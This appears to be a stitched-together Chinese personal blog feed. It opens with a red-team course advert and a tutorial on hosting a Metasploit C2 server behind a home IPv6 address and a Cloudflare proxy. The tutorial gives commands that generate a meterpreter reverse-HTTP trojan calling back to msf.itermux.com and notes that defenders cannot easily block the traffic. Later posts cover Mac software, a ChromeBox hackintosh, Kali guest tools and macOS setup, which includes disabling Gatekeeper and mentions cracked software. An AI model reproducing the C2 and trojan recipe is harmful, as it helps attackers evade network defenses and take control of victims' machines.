内网安全从零开始红队教程,这可能是国内最系统最适合小白的内网安全教程,本次培训采用了双讲师的模式,采用拟真实战靶场,配套对应的知识库和社区,让你内网学习的过程中轻松愉悦。
日常价 ¥2688,目前早鸟价立减¥188,支持花呗 12 期免息,此外组团报名还有优惠哦!详细添加客服咨询细节
从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。
我国也正在积极推广普及 IPv6 技术,个人家庭光猫基本上都是支持 IPv6 的,IPv6 我们可以理解为一个公网 IP,由于 IPv6 资源数量非常庞大,足够保障我们的家庭每个设备都有自己的公网 IPv6 地址,这一切预示着万物互联的时代即将到来,从理论角度来看,利用家用设备的 IPv6 地址来建立 C2 服务器也是可行的。
但是企业内网当中基本上是不可能有公网 IPv6 地址的,没有 IPv6 的话就无法访问到我们的 C2 服务器,这也是本文核心要展开说的地方,话不多说,直接看下文吧。
整体方案实现其实不难,最主要的就是下面两个知识点:
总的来说就是下面两个步骤即可:
准备一个没有公网 IPv4 地址,但是存在公网 IPv6 地址的 Ubuntu 系统一个,正常家用的主机基本上是满足上述要求的:
MSF 是经典的 C2 工具,其他的 C2 工具基本上线原理仿造一下即可,我们先来手动来安装一下 Metasploit:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall
为了保持权限最小化原则,我们这里只创建一个修改 itermux 域名的 DNS 权限 API 令牌:
DDNS-GO 的官方项目地址为:https://github.com/jeessy2/ddns-go
DDNS-GO 的作用是将公网地址解析到各大云厂商的域名上。下载好 DDNS-GO 参考官方文档安装一下即可:
sudo ./ddns-go -s install
接着访问服务器的 9876 端口即可打开 DDNS-GO 的配置页面,首先填写我们的 CF 的 API Token:
最后配置一下要 IPv6 对应解析的域名即可:
通过 DDNS-GO 的日志可以看到 msf.itermux.com 域名成功解析到了我们的公网 IPv6 地址:
因为当前默认域名解析的是 IPv6 地址,IPv4 设备是无法访问到我们的域名的,为此我们需要手动开启 CF 的代理,借助 CF 将域名转换成 IPv4 也可以访问的 IP 地址:
然后手动关闭一下 CF 的 SSL 加密:
首先在服务器上借助 Python3 监听一个 IPv6 的 80 端口:
python3 -m http.server 80 --bind ::
然后直接访问我们的 msf.itermux.com 域名测试成功访问:
既然上述操作跑通的话,那么下面直接来尝试一下 MSF 上线吧。后续的操作就比较简单常规了,我们很快的来过一下:
我们使用 meterpreter_reverse_http的 Payload,HOST 填写我们的 IPv6 地址 DDNS 的域名 msf.itermux.com,端口就填写 80 端口:
msf6 > use payload/windows/x64/meterpreter_reverse_httpmsf6 > set LHOST msf.itermux.commsf6 > set LPORT 80
然后直接在 msfconsole 控制台里面使用 generate 生成 Windows exe 木马文件:
msf6 payload(windows/x64/meterpreter_reverse_http) > generate -f exe -o shell.exe[*] Writing 208384 bytes to shell.exe...
这里监听的细节是 set LHOST ::
表示监听本地的 IPv6 地址:
msf6 > use exploits/multi/handlermsf6 > set payload windows/x64/meterpreter_reverse_httpmsf6 > set LHOST ::msf6 > set LPORT 80
运行 shell.exe 后既上线成功,通过 netstat 命令查看,可以看到多个上线的会话连接,这些外连 IP 均为 Cloudflare 的 CDN IP,蓝方防守的话封是封不完,而且不敢封的,因为国内很多大型网站可能也用的是 Cloudflare。
MSF 的上线记录效果如下,可以看到 CF 的 CDN IPv6 服务器和本地的 IPv6 交互的记录:
磨刀不误砍柴工,工欲善其事必先利其器,正好最近国光我换了 M1 Pro 的 14 寸的 Macbook Pro 监管机了,真香呀!新的电脑到了又得安装一堆软件,最后为了自己也为了方便大家快速查看,国光我还单独写了个前端页面。
本次前端页面还是一如既往的国光的界面设计风格,经典的 Boostrap 框架写的:
https://www.sqlsec.com/macsoft.html
Apple Silicon 是 Apple 计算机芯片内部使用的处理器架构。M1 和 M2 处理器之类的处理器都使用 Apple Silicon,这标志着与 Apple 使用英特尔 CPU 的背道而驰。
传统的 MacBook 和 iMac 设备以前使用 intel 的 x86 处理器架构,但苹果现在的 Apple Silicon 则是 Arm 架构,这意味搭载 Apple Silicon 的芯片将会有更高的能效比,续航更久,发热更低。
所以我们使用 Apple Silicon 芯片的产品的时候,尽量也要使用 Arm 架构编译优化的软件,能少用 Rosetta 转编译就少用一点,对自己的 MacBook 好一点!
为了方便我们查看软件的架构,这里推荐一个 Silicon Info 软件:
主要是一些上班摸鱼类的软件,IM 通讯、社交、冲浪、音乐、视频类软件。
主要是日常文档办公用到的软件,可以不用,但不能没有:
国光不是一个专业的 Coder,所以这块软件并不是很多:
国光我不是一个设计师,日常也就录制视频,简单修修图,轻度剪辑视频一下:
下面是一些国光经常使用的系统增强软件,整体都比较好用方便:
妈妈再也不用担心我资源下载比较慢了:
浏览器多用起来就是爽,每天换着用都用不完呀:
主要是一些虚拟机、Docker 还有一些远程软件:
下面是国光安装的一些安全工具,当然有些安全工具不适合做成应用程序,下面仅供大家参考一下吧:
平时测试测试一下硬盘速度、看看 CPU 占用,瞅一瞅风扇转速、顺便跑个分:
磨刀不误砍柴工,工欲善其事必先利其器,这些是国光认为比较提高效率的软件:
]]>
哈喽,大家好呀,我是国光,好久没更新视频了,最近有点感冒,音色有一点变化,大家习惯一下哈!话不多说,开始正题,本期呢给大家带来一个性价比很高的小主机,华硕的 ChromeBox3 CN65 。我会在本视频中教大家如何安装黑苹果、以及多系统共存。让大家充分榨干这个小主机的性能,大家的硬币准备好了吗?我要开始装逼了!
首先我们来看看外观,作为一个小主机,他的外观不算很迷你,但是呢接口在小主机中算是比较丰富的了,这个1个全功能的 Type-C 接口,不仅可以充电也支持DP协议视频输出,整机接近一个正方形,边长等于1个iPhone7 的长度。
配置这块主要就是使用了 i7-8550U 的处理器,实际上是一个 7代架构的马甲U,经典的 4核8线程,祖传的 14nm 技术,内存最高支持到 DDR4 2400 频率,核显的型号为 UHD 620
配置虽然不算高,但是海鲜市场上目前可以以不到 800 元的价格,买到一套 16GB + 64GB 的配置,开箱即用,这个价钱钱要啥自行车呀。
因为这种小主机出厂就是自带的 ChromeOS 的,所以 BIOS 也是谷歌定制的 ,发文章之前,闲鱼老哥还是有时间帮忙刷 BIOS 的,现在呢大概率只能我们自己手动来刷一下 BIOS 了,否则没法正常安装 Windows 以及 macOS 等其他操作系统。
我手上新买的这台也是自带的 ChromeOS 系统,简单总结一下吧:总之不太适合国人使用,虽然外观看上去也挺小清新的,动画过渡也还算丝滑,也支持安装 Android 和 Linux 应用,但是因为都懂的原因,我们使用起来并不方便,国光我这里建议我们后期可以考虑刷更适合国人使用的 FydeOS 操作系统。
刷 BIOS 的话我们可以直接看 B 站 UP 咖啡有毒你还喝 的教程视频:
8代i7的NUC主机-华硕ChromeBox3:从ChromeOS到Windows10刷机保姆级教程,适用大多数Chromebook
下面国光也简单记录一下如何从原始的 ChromeBox3 开始刷第三方 BIOS。
关机,开机的时候按住 reset 键 (卡针短的话可以拆开插入翘片垫着也可以)再按电源键开机后屏幕会进入恢复模式:
看到上面这个界面按 Ctrl + D 进入、开发者模式:
友情提示:国光换了两把机械键盘在这个开发者模式都没有反应,然后美团下单了 30多块钱的飞利浦薄膜键盘,发现可以正常操作了,这个问题确实很玄学。
根据提示再按一下 reset 键 ,然后主机会自动重启到下面这个界面:
接着提示正在切换到开发者模式:
耐心等待一会儿,最上方会有一个进度条,能看到剩余时间,一般 5-10 分钟左右:
期间如果卡主的话都可以按 Ctrl + D 跳过,接着来到 ChromeOS 系统欢迎界面,连接键鼠和 WiFi 选择左下角的访客模式:
接着进入系统后,使用快捷键 Ctrl + Alt + T 调出终端窗口,然后输入命令:
crossystem
在末尾看到 wpsw_cur 的值为 1,表示这个 BIOS 是有写保护的(为 0 则无保护):
这机器解除写保护的方法是物理方法,直接拆掉写保护螺丝,右下角圈出来地方就是写保护螺丝,直接拆掉然后重启就可以:
这次重启风扇转的会比较厉害,还会滴滴叫记下,然后进入系统后再次运行命令检查下,已经没有写保护了:
cd ~/Downloads && sudo flashrom -r backup.rom
插上 U 盘,将备份的 backup.rom 备份到 U 盘里面:
如果大家网络可以正常访问谷歌的话,建议使用官方的原版脚本,网络不好的话就使用国内的脚本:
# 官方国外原版脚本:cd; curl -LO mrchromebox.tech/firmware-util.sh && sudo bash firmware-util.sh# 国内镜像脚本(感谢ELAO大佬):cd; curl -LO https://gitee.com/elao/mr-chromebox-scripts/raw/master-2023-5/firmware-util.sh && sudo bash firmware-util.sh
必须以 普通/非 root 用户的身份执行脚本。以 root 身份运行会破坏一切。在运行下面的脚本 CMD 之前,请勿运行 sudo 或者 su。
下面记录一下脚本使用的细节操作:
接着输入 2 然后回车,表示安装完整的 ROM 固件:
刷 ROM 固件会让你无法运行 ChormeOS 是否继续?这里输入 y 继续:
如果你希望继续,手动输入 I ACCEPT 然后回车继续:
接着输入 Y 回车继续:
脚本提示我们备份一下 BIOS,因为之前我们手动备份过了,这里输入 n 不备份,然后回车:
接下来脚本就开始去拉取 BIOS 固件,然后自动刷入了,耐心等待即可:
出现上面绿字提示,表示刷入成功了,我们按 回车键返回主菜单,输入 R 回车,重启电脑:
我们刷的是大名鼎鼎的 coreboot 兔子BIOS,看到下面的兔子 Logo 表示我们已经刷入成功了。整个 BIOS 非常简洁感觉,刷入 BIOS 后第一次加载会比较长,耐心等待一会:
如果等很久很久还没变化的话那就手动重启一下电脑吧,这样就正常进入到 BIOS 了,可以看到我们刷的是最新的 4.20.1 BIOS:
接下来的操作就简单了,和正常小主机安装系统差不多了,我们可以搞个自己的 PE U 盘随便安装 Windows 或者 Linux 系统了。
因为自带的 64GB SATA 协议的硬盘太小速度也太慢了,我们的国产颗粒也崛起了,所以我们直接安排个 1 TB 的长江颗粒的 NVME 硬盘。因为又有黑苹果下各种功能的完美追求,所以我们手动来使用转接卡来安装一下苹果的拆机网卡 BCM94360CS2,转接卡和网卡的链接可以参考下面的闲鱼,总价大概 50 多块钱:
一顿操作后,我们的小主机最终的内部配置如下:
本镜像取自于远景这个 349336500 老哥的帖子:https://bbs.pcbeta.com/viewthread-1948333-1-1.html
国光我相当于帮大家白嫖了,有能力的网友可以去原贴去支持他一下哈,下面是白嫖的一些镜像网盘信息:
# 天翼云:macOS Ventura 13.1 (22C65):https://cloud.189.cn/t/YZFzeqU3mmie (访问码:vhy3)macOS Ventura 13 (22A380):https://cloud.189.cn/t/ZzQraemMz2Av (访问码:1xur)# 阿里云盘:macOS Ventura 13.4.1 (22F82):https://www.aliyundrive.com/s/gDSytaiiVfamacOS Ventura 13.4 (22F66):https://www.aliyundrive.com/s/LEvFAArLZ5ZmacOS Ventura 13.3 (22E252):https://www.aliyundrive.com/s/atvncNVMJNcmacOS Ventura 13.2 (22D49):https://www.aliyundrive.com/s/LL6inEwVUdMmacOS Ventura 13.1 (22C65):https://www.aliyundrive.com/s/kydfwX7Y1oQmacOS Ventura 13 (22A380):https://www.aliyundrive.com/s/BXoD7NgkMBz# 本站直连:https://pan.mediy.cn/%F0%9F%93%81Files/macOS/macOS%20Ventura%2013.4.1%20(22F82)(密码:mediy)
截止到 2023 年 07 月 30 日,我们下载最新的 macOS 13 稳定版本:macOS Ventura 13.4.1 (22F82) OC 0.9.3 and Clover5152 and Win11PE.dmg
写入镜像实际上也有很多工具,国光这里推荐一个后来居上的工具 balenaEthcher
官方支持 Windows、macOS、Linux 的版本,下载即可使用。下面简单说下安装制作镜像的方法:
这个软件使用也比较简单,就是上图标记的三步,是不是很简单呢?
由于国光我手上的这个 U 盘是固态改的,所以几分钟时间就写入完成了:
去 Github 最新的 https://github.com/sqlsec/Asus-ChromeBox-i7-8550U/releases 下载 EFI 文件,然后使用 DiskGenius 删除自带的 EFI 文件,将我们下好的 EFI 文件拖入到 U 盘的 EFI 分区下:
准备好上述工作后,话不多说,我们直接开始安装 macOS 把,首先进 BIOS ,从 U 盘启动:
然后选择「Install macOS Ventura」:
看到下面这个界面,那么恭喜你很顺利呀,这是苹果的恢复模式,我们手动选择「磁盘工具」:
然后点击「显示所有设备」:
选择 APFS 格式,方案为 GUID 分区图,自定义磁盘名称后点击「抹掉」:
抹盘完成后关掉窗口:
然后点击「安装 macOS Vrntura」:
剩下的就是基本操作了:
不懂怎么操作的网友可以参考我单独的文章:国光的黑苹果安装教程:手把手教你配置 OpenCore
因为现在的 EFI 放在我们的 U 盘的 EFI 分区下,这样不能每次都插着 U 盘启动吧,所以我们得到 PE 下将 U 盘里面的 EFI 文件夹放到 1TB 硬盘的 EFI 分区下:
这样可以拔掉 U 盘,正常进入 macOS 系统啦:
安装 Windows 这里就比较简单了,国光我这里打算做四系统同时引导,计划 macOS 占用 512GB、其他 512GB 存储用于安装其他操作系统。
选择整个磁盘,选择分区:
选择「添加分区」:
我这里只给 macOS 留了 512GB,然后新的分区临时使用 ExFAT 格式,方便我们后面到 PE 下区分:
U 盘还有很大的空间,不能浪费,我们来手动创建 1 个分区:
然后后面就是基本操作了吧,我们使用 WinNTSetup 一键安装系统到我们从 macOS 新分出来的分区即可:
操作完之后我们的双系统引导完成:
本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)
微信 | 支付宝 |
没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面用以感谢支持我的朋友,详情请看 打赏列表 | 国光
]]>之前在 19 年写过一篇 Parallel Tools 高版本内核的安装失败的解决方法,还有在 21 年写过一篇 Kali 2021.1 安装 Parallel Tools 疑难解答。但是文章都有一点老了,如今 Parallels Desktop 已经出到了 18 的版本,Kali 的版本也到了 2023.2 的版本,而且国光我也换了 MacBook Pro 14 寸 ARM 架构的 CPU,所以感觉还是有必要写一篇文章记录一下的,还可以便帮助后面的读者朋友们,在技术的路上少走弯路。
本文所使用的环境信息如下:
以上配置仅供大家参考,理论上环境有稍许差距的话问题也不大。
可能是 GNOME 桌面的原因,刚刚安装好 Kali Linux 如没有 PD Tools 的话,打开是直接黑屏或者登录进去也是没法操作的:
所以我们得通过安全模式才可以正常启动系统:
成功进入系统,那么下面就可以手动来安装 PD Tools 了:
把光盘挂载到 Kali 虚拟机中,「菜单」-「操作」-「安装 Parallel Tools」,双击桌面上的「光盘」图标就可以成功挂载光盘了(默认顺利的话 不需要双击会自动挂载),接下来根据下面命令走一下常规的安装流程:
# 检测光盘是否挂载成功mount | grep iso9660# 将光盘内容拷贝到自建的文件夹mkdir ~/pdtools && cp -r /media/cdrom0/* ~/pdtools# 安装 Parallel Toolssudo -ichmod -R 777 ~/pdtools && cd ~/pdtools && ./install
然后就进入安装流程了,一直「回车」安装下去,如果没有猜错的话最后会得到这样一个报错:
报错的居然内容如下(这一段是写给搜索引擎爬虫看的,这样别人搜索报错就可以搜索到这篇文章):
An error occurred while installing the following packages: - linux-headers-6.1.0-kali9-arm64 - dkms - libelf-dev - printer-driver-postscript-hp Install these packages manually and start the ParallelsTools installation again.
先手动安装一下好安装的包:
sudo -iapt updateapt install dkms libelf-dev -y
接下来的工作重点就是搞定内核头的问题,我们这里缺失的包名为:linux-headers-6.1.0-kali9-arm64:
在 http://old.kali.org/kali/pool/main/l/linux/ 网站里面查找相关的包,下载并安装即可:
# 下载保存为 headers.debwget -O headers.deb http://old.kali.org/kali/pool/main/l/linux/linux-headers-6.1.0-kali9-arm64_6.1.27-1kali1_arm64.deb# 下载对应内核头依赖保存为 common.debwget -O common.deb http://old.kali.org/kali/pool/main/l/linux/linux-headers-6.1.0-kali9-common_6.1.27-1kali1_all.deb# 下载对应内核头依赖保存为 kbuild.debwget -O kbuild.deb http://old.kali.org/kali/pool/main/l/linux/linux-kbuild-6.1_6.1.27-1kali1_arm64.deb# 安装辅助 deb 安装工具apt install gdebi -y# 先安装内核头依赖gdebi common.debgdebi kbuild.deb# 再安装主角 内核头文件gdebi headers.deb# 验证是否安装成功 (这个时候应该提示已经安装成功了)apt install linux-headers-$(uname -r)
现在内核头安装配置好后,回到之前的目录,再次运行 ./install
即可:
cd ~/pdtools sudo -i./install
然后就进入安装流程了,一直「回车」安装下去,如果顺利的话会提示安装成功需要重启:
重启一下电脑就可以享受 Parallels Desktop 丝般顺滑了。
还是早期的 GNOME 桌面经典呀,多桌面切换默认桌面命令:
update-alternatives --config x-session-manager
这样安装后多装了一个 Linux 内核,启动时还是选择 linux-headers-6.1.0-kali9-arm64 这个内核,不然 PD Tools 还是不能正常使用:
]]>
最近闲鱼上出现了一些原本搭载着 ChromeOS 的洋垃圾设备,性价比真滴很高,本文就是其中一个性价比比较高的小主机:Asus Chromebox 3 CN65,目前闲鱼上价格只要 799 元左右,且国内应该目前也没有人搞定这个黑苹果,于是国光我就出手了。因为目前最新的 4.x BIOS 的问题确实没少折腾,但还是基本上黑苹果成功了,就分享出来了,当然还有一些细节需要留给后人优化。
国光我最近全身心投入到工作,业余也都把精力投在了我的社区建设上。所以真的没太多时间折腾这些东西了,况且:系统只是工具,我们要学会使用系统去创造价值,而不是沉迷如何安装系统上,这句话也送给大家。最后祝你使用愉快!
型号:Asus Chromebox 3 CN65 (Teemo)
固件:MrChromebox-4.20.1 07/21/2023 (Coreboot BIOS)
CPU:i7 8550U 4C 8T 最大睿频 4.00 GHz Kaby Lake R 架构(移动平台)
核显:Intel UHD 620
接口:全功能 Type-C + DC 供电接口 + HDMI 1.4 + 很多个 USB3.0 接口 + SD 卡槽
电源:官方建议 90W 供电,可 DC 供电也可以 Type-C 供电
硬盘:目前国产的长江存储性价比很高,长江颗粒的 1TB NVME 硬盘
网卡:为了好的黑苹果体验,建议直接换苹果拆机网卡(闲鱼上 50 元左右)
Windows 下日常办公外接 4k 显示器工作其实挺不错的:
鲁大师的跑分也是这个小主机该有的水平:
刚到手的时候还跑过 R23,发现短板是散热,容易撞温度墙,所以理论上有好的散热方案,性能还可以提高不少:
目前驱动的完美度(99%+ 完美度):
目前待解决的问题(交给后人解决 国光我没有精力折腾了):
使用目前最新的 OC 0.9.3 仿造 Macmini 2018 机型,安装了目前官方最新的 macOS 13.4.1 系统:
驱动整体驱动美的,日常办公、写代码、轻度剪辑绰绰有余了:
外接双 4k 显示器正常工作,分别工作在 4k@60hz 和 4k@30hz,且 HiDPi 均正常工作,显示效果细腻:
基本上设备的各个硬件都正常驱动,包括 WiFi、蓝牙、核显、NVME 硬盘等:
其中 USB 接口已经定制好, 使用国光我开源的 EFI 到手直接使用即可:
因为换了苹果的拆机网卡原因,所以蓝牙、WiFi、隔空投送、接力、随航、通用控制都是正常驱动的:
目前正常工作,写入了 48:F1:7F:E8:17:AF 虚拟 Mac 地址:
如果要修改为自己网卡的真实 Mac 地址(方法来自于网友 axbby ) 方法如下:
编辑 OC/Kexts/RealtekRTL8111.kext/Contents/Info.plist
文件,找到 fallbackMAC
然后把机器底部的 Mac (或者 Windows 下查看也可以) 填进去,像下面这样。(机器底部的 LAN MAC,每 2 位隔开)
<key>fallbackMAC</key><string>48:F1:7F:E8:17:AF</string>
这个小主机的 Windows 下 3.5mm 耳机接口的驱动都需要操作一番,所以比较小众,macOS 下暂时没通用方法驱动,可能需要定制啥的,这块就是国光的知识盲区了,不过目前来看使用 10块钱的 USB 声卡,或者显示器自带的声音输出也绰绰有余了:
最后记得使用 MonitorControl 来设置调节显示器的亮度和声音:
这个小主机的硬盘接口是双协议的,支持 SATA 和 NVME 协议,但是 NVME 协议的硬盘速度有所阉割,不过日常也足够这个小主机使用了:
使用 Sensei 测试的硬盘结果也差不多:
Geekbench 6 CPU 单核跑分:1277 多核跑分:3642
单核跑分略高于 Mac Pro 2019 的 W-3233 CPU ,多核跑分也比苹果官方的 Mac mini 2018 要强,整体大概是下面这些设备的性能水平:
Geekbench 6 GPU UHD 620 Metal 跑分:5209 OpenCL 跑分:3819
核显就这个水平了,也不能强求太多,反正日常写代码够用了,也是可以丝滑的解码观看视频的:
CPU 的温度、功耗都是可以正常识别到的:
但是风扇转速这块传感器目前没有成功驱动,导致无法获取风扇转速,从而我们也无法手动在 macOS 下设置风扇的转速:
全核心满载的话,因为是单热管、单风扇的原因,毕竟容易撞温度墙(很容易接近 100℃),所以会功耗会下降很多(35W -> 20W):
所以这个小主机不适合全核长时间高负荷干活,但是日常办公、写代码、娱乐冲浪这个性能还是绰绰有余的了,就算再不济,当个电视盒子也是很优雅的。
优点
缺点
可能需要自己刷 Coreboot 第三方 BIOS 有一定门槛
HDMI 1.4 接口有点小遗憾,不能跑满 4k @ 60hz
单热管散热有点单薄,好在这个 U 发热不是很大
UHD 620 的核显性能比不上 NUC 8 的 lris 锐炬核显
黑苹果完美度目前还比不上 NUC 8(风扇转速、4k 显示细腻度、SD 卡槽驱动)
总结:总的来说是一个性价比很高的黑苹果小主机,虽然黑苹果完美度不如 NUC8,但好歹也华硕大厂出品,质量做工还是不错的,最关键的是价格便宜,这个价格要啥自行车!
因为黑苹果驱动定制是很耗费时间的事情,为了追求完美需要各种优化,生活不易,猫猫叹气,如果你恰巧财力雄厚的话,可以考虑打赏下本文哦,打赏情况国光我也会同步更新我的打赏列表的:打赏列表 | 国光
| |
历史上国光就有记录 macOS 配置的习惯,之前也写过两篇文章,但是都有点过时了,macOS Ventura 13 变化挺大,正巧最近又入手了 MacBook Pro 14 寸 M1 Pro 的 ARM 芯片的 Mac,所以就单独写了本篇文章记录一下,也顺便给其他网友做个配置参考,让大家少走一点配置环境的弯路。
pwpolicy -clearaccountpolicies
sudo spctl --master-disable
xcode-select --install
# 设置启动坞动画时间设置为 0.5 秒 defaults write com.apple.dock autohide-time-modifier -float 0.5 && killall Dock# 设置启动坞响应时间最短defaults write com.apple.dock autohide-delay -int 0 && killall Dock# 恢复启动坞默认动画时间defaults delete com.apple.dock autohide-time-modifier && killall Dock# 恢复默认启动坞响应时间defaults delete com.apple.Dock autohide-delay && killall Dock
# 设置列数defaults write com.apple.dock springboard-columns -int 7# 设置行数defaults write com.apple.dock springboard-rows -int 6# 重启 Dock 生效killall Dock# 恢复默认的列数和行数defaults write com.apple.dock springboard-rows Defaultdefaults write com.apple.dock springboard-columns Default# 重启 Dock 生效killall Dock
可以考虑再安装个第三方的输入法,目前搜狗输入法在 Mac 上还算是比较老实,可以考虑试试看:
重复率最快,,延迟设置最低,这样可以提高工作效率:
触控板干活效率必备,资深 macOS 用户必开的一个隐藏选项:
主题选择自带的 「Minima」和「Compact」都还是不错的」:
新建一个自己的配置,并设置为默认「Set as Default」,在新的配置里面可以进行字体相关的设置,字体大小国光设置的是 16 号,使用的是 macOS 自带的 Monaco 高颜值字体:
国光的窗口设置一些喜好:
效果图:
配环境前确保网络是 OK 的,ARM 架构的 MacBook 可以直接使用 iOS 和 iPad OS 上经典的 🚀:
同时一些软件是破解版,屏蔽 Hosts 大法也太不优雅了,还是搞个正经的防火墙软件比较靠谱,国光这里主推:Little Snitch
这个破解版不确定多不多,但是正版的序列号貌似可以多人复用,所以价格理论上也不贵的,师傅们可以自己去了解一下。
如果要使用 Github 协作项目的话,那么 GitHub 会根据我们本地的 Git 配置去箱显示对应的 commit 记录的头像:
# 配置邮箱 ➜ git config --global user.email "xxxxx@xxx.com"# 配置用户名➜ git config --global user.name "国光"
下图中间两个 commit 记录没有头像的原因就是没有配置上述邮箱的问题造成的:
macOS 自带的 vim 是没有任何配色的,可以下面是国光常用的配色方案,先在用户目录下新建一个 vim 的配置文件:
vim ~/.vimrc
内容如下:
set nu " 显示行号colorscheme desert " 颜色显示方案,其他方案查看:ls /usr/share/vim/vim*/colors syntax on " 打开语法高亮
简单使用 iPython 还是建议装一下,平时调试会比较方便:
➜ brew install ipython
不过个人还是建议使用 pyenv 来管理 Python。
pyenv 是一个强大 Python 包管理工具,可以灵活地切换各种 Python 版本,Linux 和 macOS 强烈建议使用 pyenv 来管理我们的 Python 版本,优雅高效且不会破坏掉系统自带的 Python 环境:
# 安装 pyenv➜ brew install pyenv
接着为 pyenv 配置 shell 环境,提高工作效率,可自动联想 Tab 补全我们本地安装的 Python 版本:
echo 'eval "$(pyenv init -)"' >> ~/.zshrc
安装 Python 也很简单:
# 查看已经安装的Python版本➜ pyenv versions# 查看当前的 Python 版本➜ pyenv version# 查看可安装的版本➜ pyenv install -l# 安装与卸载 pypy3.8-7.3.11➜ pyenv install pypy3.8-7.3.11➜ pyenv uninstall pypy3.8-7.3.11
版本切换确实很方便,所安装的版本都在 ~/.pyenv/versions
目录下:
# global 全局设置 一般不建议改变全局设置➜ pyenv global <python版本># shell 会话设置 只影响当前的shell会话➜ pyenv shell <python版本># 取消 shell 会话的设置➜ pyenv shell --unset# local 本地设置 只影响所在文件夹➜ pyenv local <python版本>
pyenv 的 global、local、shell 的优先级关系是:shell > local > global
无论是 Oracle JDK 还是近期比较流行的 Azul Zulu JDK,我们都可以先自己安装一遍,默认都在安装在
/Library/Java/JavaVirtualMachines 目录下:
所以我们切换版本时候就不是很优雅,这里推荐使用 jevn 来切换我们的 Java 版本,类似于 pyenv 一样,很优雅:
# 安装 jenvbrew instal jenv
brew 安装后我们得配置一下 zshrc 的环境:
echo 'export PATH="$HOME/.jenv/bin:$PATH"' >> ~/.zshrcecho 'eval "$(jenv init -)"' >> ~/.zshrc
然后新开个标签页即可正常使用 jenv 来管理我们的 Java 环境了,下面是 jenv 的基本使用:
# 查看当前的 Java 版本jenv version# 手动添加本地的 Java Home 路径jenv add /Library/Java/JavaVirtualMachines/jdk-20.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/jenv add /Library/Java/JavaVirtualMachines/zulu-17.jdk/Contents/Home/# 列出目前 jenv 所有可切换管理的版本jenv versions#global 全局设置 一般不建议改变全局设置➜ jenv global <java 版本># shell 会话设置 只影响当前的shell会话➜ jenv shell <java 版本># 取消 shell 会话的设置➜ jenv shell --unset# local 本地设置 只影响所在文件夹➜ jenv local <java 版本>
下面是简单的 jenv 使用演示效果图,真的很优雅:
国光我 Nodejs 用的不多,主要就用来跑跑 Hexo 博客和使用 Gitbook 来写点知识点,又因为 Node.js 版本也比较凌乱,所以这里主要是通过 nvm 来进行配置管理。
# 安装 nvm➜ curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.3/install.sh | bash# 新开个终端,输入下面命令,完善 zsh 补全配置export NVM_DIR="$HOME/.nvm"[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"# 查看版本信息➜ zsh➜ nvm --version0.39.3# 查看当前 node 的版本➜ nvm version # 安装最新稳定版 node➜ nvm install stable# 列出所有远程服务器的版本➜ nvm ls-remote# 安装指定版本➜ nvm install v18.16.1➜ nvm install <version># 列出所有已安装的版本➜ nvm ls# 卸载指定的版本➜ nvm uninstall <version># 切换使用指定的版本node➜ nvm use <version># 显示当前的版本➜ nvm current
Homebrew 是 macOS(或 Linux)缺失的软件包的管理器,开发必备神器,安装也比较简单(网络 OK 的情况):
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
安装完成后,如果没有 brew 命令的话,就继续配置 zsh 环境变量(上面安装完会提示 COPY 运行即可):
(echo; echo 'eval "$(/opt/homebrew/bin/brew shellenv)"') >> /Users/security/.zprofile
brew 的基本使用:
# 更新 Homebrew➜ brew update# 搜索相关的包➜ brew search [关键词] # 查看包的信息➜ rew info [软件名] # 查看已安装的包➜ brew list# 更新某个软件➜ brew upgrade [软件名]# 清理所有软件的旧版➜ brew cleanup# 卸载某个软件➜ brew uninstall [软件名]
brew 常用软件推荐:
# 安装 brew-caskbrew install cask# 空格预览 markdownbrew install qlmarkdown# 空格高亮预览代码文件brew install syntax-highlight
Oh My Zsh 这个 zsh 美化增强脚本,来让自己的终端 Shell 颜值更逼格:
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"
Zsh 插件推荐:
# 目录切换神器➜ brew install autojump# 自动建议提示接下来可能要输入的命令git clone https://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions# 命令语法检测git clone https://github.com/zsh-users/zsh-syntax-highlighting $ZSH_CUSTOM/plugins/zsh-syntax-highlighting
在 ~/.zshrc
中配置启用这些插件:
plugins=(其他的插件...... autojump zsh-autosuggestions zsh-syntax-highlighting)
其他功能配置:
# 关掉 URL 反斜杠转义echo "DISABLE_MAGIC_FUNCTIONS=true" >> ~/.zshrc# 禁用 on my zsh 自动更新echo " zstyle ':omz:update' mode disabled" >> ~/.zshrc
安装 MySQL:
# 搜索可以安装的版本➜ brew search mysql# 安装对应的版本➜ brew install mysql@5.7# 写入环境变量echo 'export PATH="/opt/homebrew/opt/mysql@5.7/bin:$PATH"' >> ~/.zshrc# 为了让编译器找到 mysql@5.7 还需要写入echo 'export LDFLAGS="-L/opt/homebrew/opt/mysql@5.7/lib"' >> ~/.zshrcecho 'export CPPFLAGS="-I/opt/homebrew/opt/mysql@5.7/include"' >> ~/.zshrc# 为了让 pkg-config 找到 mysql@5.7 还需要写入echo 'PKG_CONFIG_PATH="/opt/homebrew/opt/mysql@5.7/lib/pkgconfig"' >> ~/.zshrc
MySQL 服务相关:
